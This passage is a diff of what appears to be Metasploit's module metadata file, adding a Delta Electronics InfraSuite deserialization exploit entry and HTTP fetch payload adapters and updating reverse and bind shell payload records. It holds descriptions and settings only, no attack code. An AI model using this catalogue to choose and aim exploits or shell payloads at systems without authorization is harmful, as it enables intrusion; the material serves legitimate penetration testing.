"is_install_path": true,
"ref_name": "windows/local/srclient_dll_hijacking",
@@ -161180,6 +162423,9 @@
"artifacts-on-disk",
"ioc-in-logs",
"screen-effects"
+ ],
+ "Reliability": [
+
]
},
"session_types": [
@@ -161221,7 +162467,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2023-02-08 15:20:32 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/tokenmagic.rb",
"is_install_path": true,
"ref_name": "windows/local/tokenmagic",
@@ -161330,7 +162576,7 @@
"targets": [
"Windows XP SP3"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/virtual_box_guest_additions.rb",
"is_install_path": true,
"ref_name": "windows/local/virtual_box_guest_additions",
@@ -163380,6 +164626,70 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_windows/misc/delta_electronics_infrasuite_deserialization": {
+ "name": "Delta Electronics InfraSuite Device Master Deserialization",
+ "fullname": "exploit/windows/misc/delta_electronics_infrasuite_deserialization",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-05-17",
+ "type": "exploit",
+ "author": [
+ "Anonymous",
+ "Shelby Pace"
+ ],
+ "description": "Delta Electronics InfraSuite Device Master versions below v1.0.5 have an\n unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'\n method of the 'Device-Gateway-Status' process.\n\n The 'ParseUDPPacket()' method reads user-controlled packet data and eventually\n calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,\n leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.",
+ "references": [
+ "CVE-2023-1133",
+ "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-672/",
+ "URL-https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133"
+ ],
+ "platform": "Windows",
+ "arch": "cmd, x86, x64",
+ "rport": 10100,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Windows EXE Dropper",
+ "Windows CMD"
+ ],
+ "mod_time": "2023-06-07 16:42:01 +0000",
+ "path": "/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb",
+ "is_install_path": true,
+ "ref_name": "windows/misc/delta_electronics_infrasuite_deserialization",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs",
+ "screen-effects"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_windows/misc/disk_savvy_adm": {
"name": "Disk Savvy Enterprise v10.4.18",
"fullname": "exploit/windows/misc/disk_savvy_adm",
@@ -174768,7 +176078,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_aix/ppc/shell_find_port": {
"name": "AIX Command Shell, Find Port Inline",
@@ -174802,7 +176114,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_aix/ppc/shell_interact": {
"name": "AIX execve Shell for inetd",
@@ -174836,7 +176150,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_aix/ppc/shell_reverse_tcp": {
"name": "AIX Command Shell, Reverse TCP Inline",
@@ -174870,7 +176186,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_android/meterpreter/reverse_http": {
"name": "Android Meterpreter, Android Reverse HTTP Stager",
@@ -174907,7 +176225,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/meterpreter",
+ "stager_refname": "android/reverse_http"
},
"payload_android/meterpreter/reverse_https": {
"name": "Android Meterpreter, Android Reverse HTTPS Stager",
@@ -174944,7 +176266,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/meterpreter",
+ "stager_refname": "android/reverse_https"
},
"payload_android/meterpreter/reverse_tcp": {
"name": "Android Meterpreter, Android Reverse TCP Stager",
@@ -174980,7 +176306,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/meterpreter",
+ "stager_refname": "android/reverse_tcp"
},
"payload_android/meterpreter_reverse_http": {
"name": "Android Meterpreter Shell, Reverse HTTP Inline",
@@ -175014,7 +176344,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_android/meterpreter_reverse_https": {
"name": "Android Meterpreter Shell, Reverse HTTPS Inline",
@@ -175048,7 +176380,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_android/meterpreter_reverse_tcp": {
"name": "Android Meterpreter Shell, Reverse TCP Inline",
@@ -175082,7 +176416,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_android/shell/reverse_http": {
"name": "Command Shell, Android Reverse HTTP Stager",
@@ -175119,7 +176455,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/shell",
+ "stager_refname": "android/reverse_http"
},
"payload_android/shell/reverse_https": {
"name": "Command Shell, Android Reverse HTTPS Stager",
@@ -175156,7 +176496,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/shell",
+ "stager_refname": "android/reverse_https"
},
"payload_android/shell/reverse_tcp": {
"name": "Command Shell, Android Reverse TCP Stager",
@@ -175191,7 +176535,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "android/shell",
+ "stager_refname": "android/reverse_tcp"
},
"payload_apple_ios/aarch64/meterpreter_reverse_http": {
"name": "Apple_iOS Meterpreter, Reverse HTTP Inline",
@@ -175227,7 +176575,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/aarch64/meterpreter_reverse_https": {
"name": "Apple_iOS Meterpreter, Reverse HTTPS Inline",
@@ -175263,7 +176613,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/aarch64/meterpreter_reverse_tcp": {
"name": "Apple_iOS Meterpreter, Reverse TCP Inline",
@@ -175299,7 +176651,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/aarch64/shell_reverse_tcp": {
"name": "Apple iOS aarch64 Command Shell, Reverse TCP Inline",
@@ -175333,7 +176687,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/armle/meterpreter_reverse_http": {
"name": "Apple_iOS Meterpreter, Reverse HTTP Inline",
@@ -175369,7 +176725,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/armle/meterpreter_reverse_https": {
"name": "Apple_iOS Meterpreter, Reverse HTTPS Inline",
@@ -175405,7 +176763,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_apple_ios/armle/meterpreter_reverse_tcp": {
"name": "Apple_iOS Meterpreter, Reverse TCP Inline",
@@ -175441,7 +176801,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/sparc/shell_bind_tcp": {
"name": "BSD Command Shell, Bind TCP Inline",
@@ -175475,7 +176837,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/sparc/shell_reverse_tcp": {
"name": "BSD Command Shell, Reverse TCP Inline",
@@ -175509,7 +176873,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/vax/shell_reverse_tcp": {
"name": "BSD Command Shell, Reverse TCP Inline",
@@ -175543,7 +176909,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/exec": {
"name": "BSD x64 Execute Command",
@@ -175577,7 +176945,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_bind_ipv6_tcp": {
"name": "BSD x64 Command Shell, Bind TCP Inline (IPv6)",
@@ -175611,7 +176981,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_bind_tcp": {
"name": "BSD x64 Shell Bind TCP",
@@ -175646,7 +177018,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_bind_tcp_small": {
"name": "BSD x64 Command Shell, Bind TCP Inline",
@@ -175680,7 +177054,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_reverse_ipv6_tcp": {
"name": "BSD x64 Command Shell, Reverse TCP Inline (IPv6)",
@@ -175714,7 +177090,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_reverse_tcp": {
"name": "BSD x64 Shell Reverse TCP",
@@ -175749,7 +177127,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x64/shell_reverse_tcp_small": {
"name": "BSD x64 Command Shell, Reverse TCP Inline",
@@ -175783,7 +177163,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/exec": {
"name": "BSD Execute Command",
@@ -175819,7 +177201,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/metsvc_bind_tcp": {
"name": "FreeBSD Meterpreter Service, Bind TCP",
@@ -175853,7 +177237,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/metsvc_reverse_tcp": {
"name": "FreeBSD Meterpreter Service, Reverse TCP Inline",
@@ -175887,7 +177273,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell/bind_ipv6_tcp": {
"name": "BSD Command Shell, Bind TCP Stager (IPv6)",
@@ -175923,7 +177311,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsd/x86/shell",
+ "stager_refname": "bsd/x86/bind_ipv6_tcp"
},
"payload_bsd/x86/shell/bind_tcp": {
"name": "BSD Command Shell, Bind TCP Stager",
@@ -175957,7 +177349,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsd/x86/shell",
+ "stager_refname": "bsd/x86/bind_tcp"
},
"payload_bsd/x86/shell/find_tag": {
"name": "BSD Command Shell, Find Tag Stager",
@@ -175991,7 +177387,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsd/x86/shell",
+ "stager_refname": "bsd/x86/find_tag"
},
"payload_bsd/x86/shell/reverse_ipv6_tcp": {
"name": "BSD Command Shell, Reverse TCP Stager (IPv6)",
@@ -176027,7 +177427,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsd/x86/shell",
+ "stager_refname": "bsd/x86/reverse_ipv6_tcp"
},
"payload_bsd/x86/shell/reverse_tcp": {
"name": "BSD Command Shell, Reverse TCP Stager",
@@ -176061,7 +177465,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsd/x86/shell",
+ "stager_refname": "bsd/x86/reverse_tcp"
},
"payload_bsd/x86/shell_bind_tcp": {
"name": "BSD Command Shell, Bind TCP Inline",
@@ -176095,7 +177503,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell_bind_tcp_ipv6": {
"name": "BSD Command Shell, Bind TCP Inline (IPv6)",
@@ -176131,7 +177541,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell_find_port": {
"name": "BSD Command Shell, Find Port Inline",
@@ -176165,7 +177577,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell_find_tag": {
"name": "BSD Command Shell, Find Tag Inline",
@@ -176199,7 +177613,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell_reverse_tcp": {
"name": "BSD Command Shell, Reverse TCP Inline",
@@ -176233,7 +177649,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsd/x86/shell_reverse_tcp_ipv6": {
"name": "BSD Command Shell, Reverse TCP Inline (IPv6)",
@@ -176269,7 +177687,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsdi/x86/shell/bind_tcp": {
"name": "BSDi Command Shell, Bind TCP Stager",
@@ -176303,7 +177723,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsdi/x86/shell",
+ "stager_refname": "bsdi/x86/bind_tcp"
},
"payload_bsdi/x86/shell/reverse_tcp": {
"name": "BSDi Command Shell, Reverse TCP Stager",
@@ -176337,7 +177761,11 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 2,
+ "staged": true,
+ "stage_refname": "bsdi/x86/shell",
+ "stager_refname": "bsdi/x86/reverse_tcp"
},
"payload_bsdi/x86/shell_bind_tcp": {
"name": "BSDi Command Shell, Bind TCP Inline",
@@ -176372,7 +177800,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsdi/x86/shell_find_port": {
"name": "BSDi Command Shell, Find Port Inline",
@@ -176407,7 +177837,9 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
"payload_bsdi/x86/shell_reverse_tcp": {
"name": "BSDi Command Shell, Reverse TCP Inline",
@@ -176442,11 +177874,13 @@
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 1,
+ "staged": false
},
- "payload_cmd/mainframe/apf_privesc_jcl": {
- "name": "JCL to Escalate Privileges",
- "fullname": "payload/cmd/mainframe/apf_privesc_jcl",
+ "payload_cmd/linux/http/mips64/meterpreter_reverse_http": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_http",
"aliases": [
],
@@ -176454,34 +177888,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Bigendian Smalls",
- "Ayoub"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)",
+ "description": "Fetch and execute a MIPS64 payload from an HTTP server.",
"references": [
],
- "platform": "Mainframe",
+ "platform": "Linux",
"arch": "cmd",
- "rport": 21,
+ "rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb",
+ "mod_time": "2023-05-25 13:20:59 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/mainframe/apf_privesc_jcl",
+ "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_http",
+ "staged": false
},
- "payload_cmd/mainframe/bind_shell_jcl": {
- "name": "Z/OS (MVS) Command Shell, Bind TCP",
- "fullname": "payload/cmd/mainframe/bind_shell_jcl",
+ "payload_cmd/linux/http/mips64/meterpreter_reverse_https": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_https",
"aliases": [
],
@@ -176489,33 +177930,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Bigendian Smalls"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Provide JCL which creates a bind shell\n This implmentation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.",
+ "description": "Fetch and execute a MIPS64 payload from an HTTP server.",
"references": [
],
- "platform": "Mainframe",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb",
+ "mod_time": "2023-05-25 13:20:59 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/mainframe/bind_shell_jcl",
+ "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_https",
+ "staged": false
},
- "payload_cmd/mainframe/generic_jcl": {
- "name": "Generic JCL Test for Mainframe Exploits",
- "fullname": "payload/cmd/mainframe/generic_jcl",
+ "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_tcp",
"aliases": [
],
@@ -176523,33 +177972,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Bigendian Smalls"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads",
+ "description": "Fetch and execute a MIPS64 payload from an HTTP server.",
"references": [
],
- "platform": "Mainframe",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb",
+ "mod_time": "2023-05-25 13:20:59 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/mainframe/generic_jcl",
+ "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_tcp",
+ "staged": false
},
- "payload_cmd/mainframe/reverse_shell_jcl": {
- "name": "Z/OS (MVS) Command Shell, Reverse TCP",
- "fullname": "payload/cmd/mainframe/reverse_shell_jcl",
+ "payload_cmd/linux/http/x64/exec": {
+ "name": "HTTP Fetch, Linux Execute Command",
+ "fullname": "payload/cmd/linux/http/x64/exec",
"aliases": [
],
@@ -176557,33 +178014,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Bigendian Smalls"
+ "Brendan Watters",
+ "ricky",
+ "Geyslan G. Bem "
],
- "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [
],
- "platform": "Mainframe",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/mainframe/reverse_shell_jcl",
+ "ref_name": "cmd/linux/http/x64/exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/exec",
+ "staged": false
},
- "payload_cmd/unix/bind_awk": {
- "name": "Unix Command Shell, Bind TCP (via AWK)",
- "fullname": "payload/cmd/unix/bind_awk",
+ "payload_cmd/linux/http/x64/meterpreter/bind_tcp": {
+ "name": "HTTP Fetch, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter/bind_tcp",
"aliases": [
],
@@ -176591,34 +178054,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "espreto ",
- "Ulisses Castro "
+ "Brendan Watters",
+ "Brent Cook ",
+ "ricky"
],
- "description": "Listen for a connection and spawn a command shell via GNU AWK",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_awk",
+ "ref_name": "cmd/linux/http/x64/meterpreter/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/bind_tcp"
},
- "payload_cmd/unix/bind_busybox_telnetd": {
- "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)",
- "fullname": "payload/cmd/unix/bind_busybox_telnetd",
+ "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": {
+ "name": "HTTP Fetch, Reverse SCTP Stager",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_sctp",
"aliases": [
],
@@ -176626,33 +178096,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Matthew Kienow "
+ "Brendan Watters",
+ "Brent Cook ",
+ "RageLtMan "
],
- "description": "Listen for a connection and spawn a command shell via BusyBox telnetd",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_busybox_telnetd",
+ "ref_name": "cmd/linux/http/x64/meterpreter/reverse_sctp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter/reverse_sctp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/reverse_sctp"
},
- "payload_cmd/unix/bind_inetd": {
- "name": "Unix Command Shell, Bind TCP (inetd)",
- "fullname": "payload/cmd/unix/bind_inetd",
+ "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": {
+ "name": "HTTP Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_tcp",
"aliases": [
],
@@ -176660,33 +178138,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Brent Cook ",
+ "ricky",
+ "tkmru"
],
- "description": "Listen for a connection and spawn a command shell (persistent)",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_inetd",
+ "ref_name": "cmd/linux/http/x64/meterpreter/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/reverse_tcp"
},
- "payload_cmd/unix/bind_jjs": {
- "name": "Unix Command Shell, Bind TCP (via jjs)",
- "fullname": "payload/cmd/unix/bind_jjs",
+ "payload_cmd/linux/http/x64/meterpreter_reverse_http": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_http",
"aliases": [
],
@@ -176694,36 +178181,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "conerpirate",
- "bcoles "
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Listen for a connection and spawn a command shell via jjs",
+ "description": "Fetch and execute an x64 payload from an HTTP server.",
"references": [
- "URL-https://gtfobins.github.io/gtfobins/jjs/",
- "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/",
- "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html"
+
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_jjs",
+ "ref_name": "cmd/linux/http/x64/meterpreter_reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
